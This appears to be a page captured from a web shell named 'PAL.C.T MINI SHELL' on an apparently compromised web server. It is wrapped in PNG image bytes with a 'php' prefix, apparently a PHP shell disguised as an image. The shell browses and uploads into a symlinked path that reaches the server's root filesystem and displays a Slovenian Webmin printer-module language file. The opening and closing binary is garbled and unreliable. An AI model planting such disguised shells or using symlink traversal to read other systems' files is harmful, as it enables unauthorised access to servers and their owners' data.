php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/sl.auto

index_title=Uprava za tiskalnike
index_header=Na voljo tiskalniki
index_name=Tiskalnik
index_desc=Opis
index_to=Natisni v
index_driver=Voznik
index_enabled=Omogočeno?
index_accepting=Sprejemam?
index_jobs=Službe
index_none=V tem sistemu ni nameščenih tiskalnikov.
index_list=Seznam ..
index_jlist=Službe ..
index_jcount=$1 opravila ..
index_add=Dodajte nov tiskalnik.
index_stop=Ustavi urnik
index_stopmsg=Kliknite ta gumb, če želite ustaviti postopek načrtovanja tiskanja. To bo preprečilo, da bi lokalni ali oddaljeni uporabniki tiskali v vašem sistemu.
index_start=Zaženite urnik
index_startmsg=Kliknite ta gumb, da začnete postopek načrtovanja tiskanja. To bo omogočilo lokalnim in oddaljenim uporabnikom tiskanje v vašem sistemu.
index_restart=Znova zaženite Scheduler
index_restartmsg=Kliknite ta gumb, če želite znova zagnati postopek načrtovanja tiskanja. S tem bo uporabljena trenutna konfiguracija tiskanja.
index_return=seznam tiskalnikov
index_esystem=Namestite programsko opremo za izbrani tiskalni sistem ali uporabite <a href='$1'>konfiguracijo modula</a>, da jo spremenite.
index_style=Tiskalni sistem: $1 
index_cluster=Cluster strežniki
index_clusterdesc=Kliknite ta gumb za nastavitev dodatnih strežnikov Webmin, na katerih bodo tiskalniki ustvarjeni, posodobljeni in izbrisani.
index_delete=Izbrišite izbrane tiskalnike

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=SKODELICE
style_irix=IRIX
style_aix=AIX

edit_eedit=Tega tiskalnika ne smete urejati
edit_eadd=Tiskalnikov ne smete dodati
edit_add=Ustvari tiskalnik
edit_edit=Uredi tiskalnik
edit_conf=Konfiguracija tiskalnika
edit_name=Ime
edit_acc=Sprejemate zahteve?
edit_why=Ne - zakaj pa ne
edit_desc=Opis
edit_ena=Ali je tiskanje omogočeno?
edit_acl=Nadzor dostopa
edit_allow=Dovoli vsem
edit_deny=Zanikajte vse
edit_allowu=Dovoli navedenim uporabnikom ..
edit_denyu=Zavrni uporabnike na seznamu ..
edit_banner=Natisni pasico?
edit_opt=Neobvezno
edit_default=Privzeti tiskalnik?
edit_already=Že privzeti tiskalnik
edit_max=Največja velikost tiskalnega posla
edit_unlimited=Neomejeno
edit_dacc=Voznik sprejema
edit_dtext=Besedilo
edit_dpost=Postcript
edit_dother=Drugo
edit_alt=Nadomestna imena tiskalnika
edit_dest=Natisni destinacijo
edit_dev=Lokalna naprava
edit_file=Lokalna datoteka
edit_remote=Oddaljeni strežnik Unix
edit_rqueue=Tiskalnik
edit_type=Vtipkajte
edit_smb=Oddaljeni strežnik Windows
edit_share=Tiskalnik
edit_user=Uporabnik
edit_pass=Geslo
edit_wgroup=Delovna skupina
edit_hpnp=Oddaljeni strežnik HPNP
edit_port=Pristanišče
edit_direct=Neposredna povezava TCP
edit_dport=Pristanišče
edit_driver=Gonilnik tiskalnika
edit_check=Preverite, ali je oddaljeni strežnik pripravljen?

blocks=blokov

save_err=Tiskalnika ni bilo mogoče shraniti
save_eadd=Tiskalnikov ne smete dodati
save_eedit=Tega tiskalnika ne smete urejati
save_ename='$1' ni veljavno ime tiskalnika
save_edup=Tiskalnik z imenom '$1' že obstaja
save_eallow=Uporabniki ne dovolijo vnosa
save_edeny=Uporabnik ne more zanikati vnesenega
save_euser=Uporabnik '$1' ne obstaja
save_etype=Za sprejem tega gonilnika morate izbrati vsaj eno vrsto
save_emax=Največja velikost tiskalnega opravila mora biti celo število
save_efile='$1' ne obstaja
save_erhost=Oddaljeni gostitelj '$1' ne obstaja
save_erport=Oddaljena vrata '$1' niso veljavna
save_erqueue='$1' ni veljavno ime oddaljene čakalne vrste
save_eremote=Gonilnikov ni mogoče uporabljati z oddaljenimi tiskalniki Unix
save_edhost=Neposredni gostitelj '$1' ne obstaja
save_edport=Manjkajoča ali neveljavna neposredna vrata
save_evalid=Tiskalni sistem tega tiskalnika ni omogočil
save_errslave=Tiskalnik je v tem sistemu ustvaril OK, vendar so se v sistemih grozdov pojavile naslednje napake : $1 
save_egone=Najden ni bil tiskalnik z imenom "$1"
save_errdelslave=Tiskalnik je v tem sistemu izbrisan V redu, vendar so se v sistemih grozdov pojavile naslednje napake : $1 

jobs_title=Tiskalna opravila
jobs_header=Tiskalna opravila na $1 
jobs_id=ID delovnega mesta
jobs_size=Velikost
jobs_by=Oddal
jobs_when=Oddano ob
jobs_file=Ime datoteke
jobs_cancel=Če želite preklicati, kliknite ID opravila na zgornjem seznamu.
jobs_cancelview=Če želite preklicati, kliknite ID opravila na zgornjem seznamu ali pa ga kliknite na velikost opravila.
jobs_none=Tiskalnik $1 nima čakajočih opravil.
jobs_all=Prekličite vsa tiskalna opravila
jobs_bytes=bajti
jobs_test=Natisni preskusno stran
jobs_cancelsel=Prekliči izbrana opravila
jobs_on=Na tiskalniku $1 
jobs_return=seznam tiskalnih opravil

cancel_ecannot=Ne smete preklicati tiskalnih opravil
cancel_err=Tiskalnega opravila ni bilo mogoče preklicati
cancel_egone=Tiskalno opravilo $1 ne obstaja več

view_ecannot=Tega tiskalnega opravila ne morete videti
view_egone=Tega tiskalnega opravila ne obstaja več

start_ecannot=Ni vam dovoljeno zagnati načrtovalca
start_err=Planerja ni bilo mogoče zagnati

stop_ecannot=Planerja ne morete ustaviti
stop_err=Planerja ni bilo mogoče ustaviti

restart_ecannot=Ni vam dovoljeno znova zagnati planerja
restart_err=Planerja ni bilo mogoče znova zagnati

webmin_none=Noben
webmin_nonemsg=PostScript ali tiskalnik besedila
webmin_remotemsg=Oddaljeni tiskalnik
webmin_model=Model
webmin_prog=Program
webmin_driver=Gonilnik Webmin
webmin_uniprint=Gonilnik Uniprint
webmin_edrivers=Voznikov ni bilo mogoče dobiti od $1. Gonilniki spletnih tiskalnikov, ki uporabljajo ghostscript, niso na voljo
webmin_egs=Ukaza $1 ni bilo mogoče najti. Gonilniki spletnih tiskalnikov, ki uporabljajo ghostscript, niso na voljo
webmin_edriver='$1' ne obstaja

caldera_none=Noben
caldera_nonemsg=Oddaljeni ali surovi tiskalnik
caldera_prog=Program
caldera_coas=Voznik COAS
caldera_printer=Tiskalnik in ločljivost
caldera_eof=Pošlji EOF?
caldera_paper=Velikost papirja
caldera_double=Dvostransko tiskanje?
caldera_gsopts=Dodatne GS možnosti
caldera_uniprint=Gonilnik Uniprint
caldera_eprog='$1' ne obstaja
caldera_edriver=Izbran ni noben gonilnik tiskalnika
caldera_eres=Ni izbrana ločljivost

redhat_none=Noben
redhat_nonemsg=PostScript ali tiskalnik besedila
redhat_prog=Program
redhat_driver=Voznik Redhat
redhat_printer=Tiskalnik in ločljivost
redhat_eof=Pošlji EOF?
redhat_paper=Velikost papirja
redhat_pages=Strani na izhodni strani
redhat_gsopts=Dodatne GS možnosti
redhat_hmargin=Desni/levi rob
redhat_vmargin=Zgornji/spodnji rob
redhat_crlf=Popravi besedilo po stopnicah?
redhat_eprog='$1' ne obstaja
redhat_edriver=Izbran ni noben gonilnik tiskalnika
redhat_ehmargin=Manjkajoči ali neveljavni desni/levi rob
redhat_evmargin=Manjkajoči ali neveljavni zgornji/spodnji rob
redhat_eres=Ni izbrana ločljivost
redhat_printer2=Model tiskalnika in gonilnik

suse_none=Noben
suse_nonemsg=PostScript ali tiskalnik besedila
suse_prog=Program
suse_driver=APSfilter gonilnik
suse_printer=Vrsta tiskalnika
suse_res=Ločljivost v DPI
suse_colour=Barvni tiskalnik?
suse_paper=Velikost papirja
suse_method=Metoda filtriranja
suse_auto=Samodejno
suse_ascii=ASCII
suse_raw=Surov
suse_extra=Dodatne ghostscript možnosti
suse_yast2=Voznik YAST2
suse_edriver=Ni izbrana vrsta tiskalnika
suse_eres=Manjkajoča ali neveljavna ločljivost

estop=Stopnja lpd ni uspela : $1 

acl_printers=Tiskalniki, ki jih ta uporabnik lahko konfigurira
acl_add=Ali lahko dodate nove tiskalnike?
acl_cancel=Ali lahko prekličete tiskalna opravila?
acl_stop=Ali lahko ustavite ali zaženete planer?
acl_restart=Samo znova zaženite
acl_listed=Samo na izbranih tiskalnikih.
acl_pall=Vsi tiskalniki
acl_psel=Izbrano ..
acl_view=Prikaži tiskalnike, ki jih ni mogoče konfigurirati?
acl_test=Ali lahko natisnete testne strani?
acl_user=Upravljanje tiskalnih opravil v lasti
acl_user_all=Vsi uporabniki
acl_user_this=Trenutni uporabnik Webmin-a
acl_delete=Ali lahko izbrišete tiskalnike?
acl_cluster=Ali lahko upravljate gručo tiskalnikov?

log_stop=Ustavljen planer tiskanja
log_start=Začetek planerja tiskanja
log_restart=Restartirani planer tiskanja
log_cancel_job=Preklicano tiskalno opravilo $2 na $1 
log_cancel_all=Preklicali so vsa tiskalna opravila na $1 
log_cancel_sel=Preklicana opravila tiskanja $2 na $1 
log_create=Ustvarjen tiskalnik $1 na $2 
log_modify=Spremenjen tiskalnik $1 na $2 
log_delete=Izbrisan tiskalnik $1 na $2 
log_create_l=Ustvarjen $3 tiskalnik $1 na $2 
log_modify_l=Spremenjen $3 tiskalnik $1 na $2 
log_delete_l=Izbrisan $3 3 tiskalnik $1 na $2 

linux_paralel=Vzporedni vhod $1 
linux_serial=Serijska vrata $1 (COM $1)
linux_null=Ničelna naprava
linux_usb=Tiskalnik USB $1 
linux_ecmd=V vašem sistemu ukaza $1 ni bilo, kar pomeni, da tiskalni sistem Linux ni nameščen.
linux_espool=Imenik spool $1 v vašem sistemu ne obstaja, kar pomeni, da tiskalni sistem Linux ni nameščen.

freebsd_paralel=Vzporednica
freebsd_serial=Serijska vrata $1 (COM $1)
freebsd_ecmd=V vašem sistemu ukaza $1 ni bilo, kar pomeni, da tiskalni sistem FreeBSD ni nameščen.
freebsd_espool=Imenik spool $1 v vašem sistemu ne obstaja, kar pomeni, da tiskalni sistem FreeBSD ni nameščen.

openbsd_paralel=Vzporednica
openbsd_serial=Serijska vrata $1 (COM $1)

unixware_paralel=Vzporedni vhod $1 
unixware_serial=Serijska vrata $1 
unixware_null=Ničelna naprava
unixware_ecmd=Ukaza $1 v vašem sistemu ni bilo mogoče najti, kar pomeni, da tiskalni sistem UnixWare ni nameščen.

hpux_paralel=Vzporednica $1 
hpux_serial=Serijski $1 
hpux_null=Ničelna naprava
hpux_ecmd=V vašem sistemu ukaza $1 ni bilo, kar pomeni, da tiskalni sistem HPUX ni nameščen.
hpux_eiface=Imenik skriptov vmesnikov $1 v vašem sistemu ne obstaja, kar pomeni, da tiskalni sistem HPUX ni nameščen.

lprng_paralel=Vzporedni vhod $1 
lprng_serial=Serijska vrata $1 (COM $1)
lprng_null=Ničelna naprava
lprng_ecmd=Ukaza $1 v vašem sistemu ni bilo mogoče najti, kar pomeni, da tiskalni sistem LPRng ni nameščen.
lprng_espool=Imenik spool $1 v vašem sistemu ne obstaja, kar pomeni, da tiskalni sistem LPRng ni nameščen.

solaris_paralel=Vzporednica
solaris_uparalel=Ultra 5/10 vzporedna vrata
solaris_serial=Serijska vrata $1 
solaris_null=Ničelna naprava
solaris_ecmd=Ukaza $1 v vašem sistemu ni bilo, kar pomeni, da tiskalni sistem Solaris ni nameščen.

test_title=Natisni preskusno stran
test_ecannot=Ne smete tiskati testnih strani
test_desc=Ta obrazec vam omogoča, da natisnete testno stran za tiskalnik $1. Izberite vrsto strani, ki jo želite natisniti :
test_0=Stran s črno-belo pošto
test_1=Stran z barvnimi skripti
test_2=Navadno besedilo ASCII
test_3=Vsaka naložena datoteka
test_print=Natisni stran
test_exec=Tiskanje preskusne strani z ukazom $1 ..
test_failed=.. ukaz ni uspel!
test_ok=.. ukaz končan.

cups_none=Noben
cups_nonemsg=Oddaljeni ali surovi tiskalnik
cups_prog=Program
cups_driver=Voznik CUPS
cups_eprog='$1' ni veljaven program
cups_opts=Možnosti za $1 
cups_ecmd=V vašem sistemu ukaza $1 ni bilo, kar pomeni, da tiskalni sistem CUPS ni nameščen.

irix_ecmd=Ukaza $1 v vašem sistemu ni bilo mogoče najti, kar pomeni, da tiskalni sistem IRIX ni nameščen.
irix_eiface=Imenik skriptov vmesnikov $1 v vašem sistemu ne obstaja, kar pomeni, da tiskalni sistem IRIX ni nameščen.

aix_port=Vrata tiskalnika $1 
aix_edesc=Neveljaven opis - dovoljene so samo črke in številke in nobenih presledkov
aix_ecmd=Tiskalniškega strežnika AIX $1 ni bilo mogoče najti. Mogoče ni nameščen ali pa je v uporabi drug tiskalni sistem.

cluster_title=Strežniki tiskalnikov z grozdi
cluster_none=V tiskalniško gručo še ni bil dodan noben strežnik.
cluster_host=Ime gostitelja
cluster_desc=Opis
cluster_os=Operacijski sistem
cluster_add=Dodaj strežnik
cluster_gadd=Dodajte strežnike v skupino
cluster_need=Preden lahko tukaj upravljate, morate v modul Webmin Servers Index dodati strežnike z prijavo in geslom.
cluster_return=grozdni strežniki
cluster_delete=Odstrani izbrano
cluster_ecannot=Ni vam dovoljeno upravljati strežnikov tiskalnikov v gručah

add_title=Dodaj strežnike
add_msg=Dodajanje $1.
add_gmsg=Dodajanje strežnikov v skupino $1.
add_err=Ni bilo mogoče dodati strežnika
add_gerr=Skupine ni bilo mogoče dodati
add_echeck=Server $1 nima modula Printer Administration
add_ediff=Strežnik $1 uporablja drug tiskalni sistem ($2) za ta strežnik
add_ediff2=Strežnik $1 za ta strežnik uporablja drug gonilnik tiskalnika ($2)
add_ok=Dodano $1, s tiskalniki $2.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`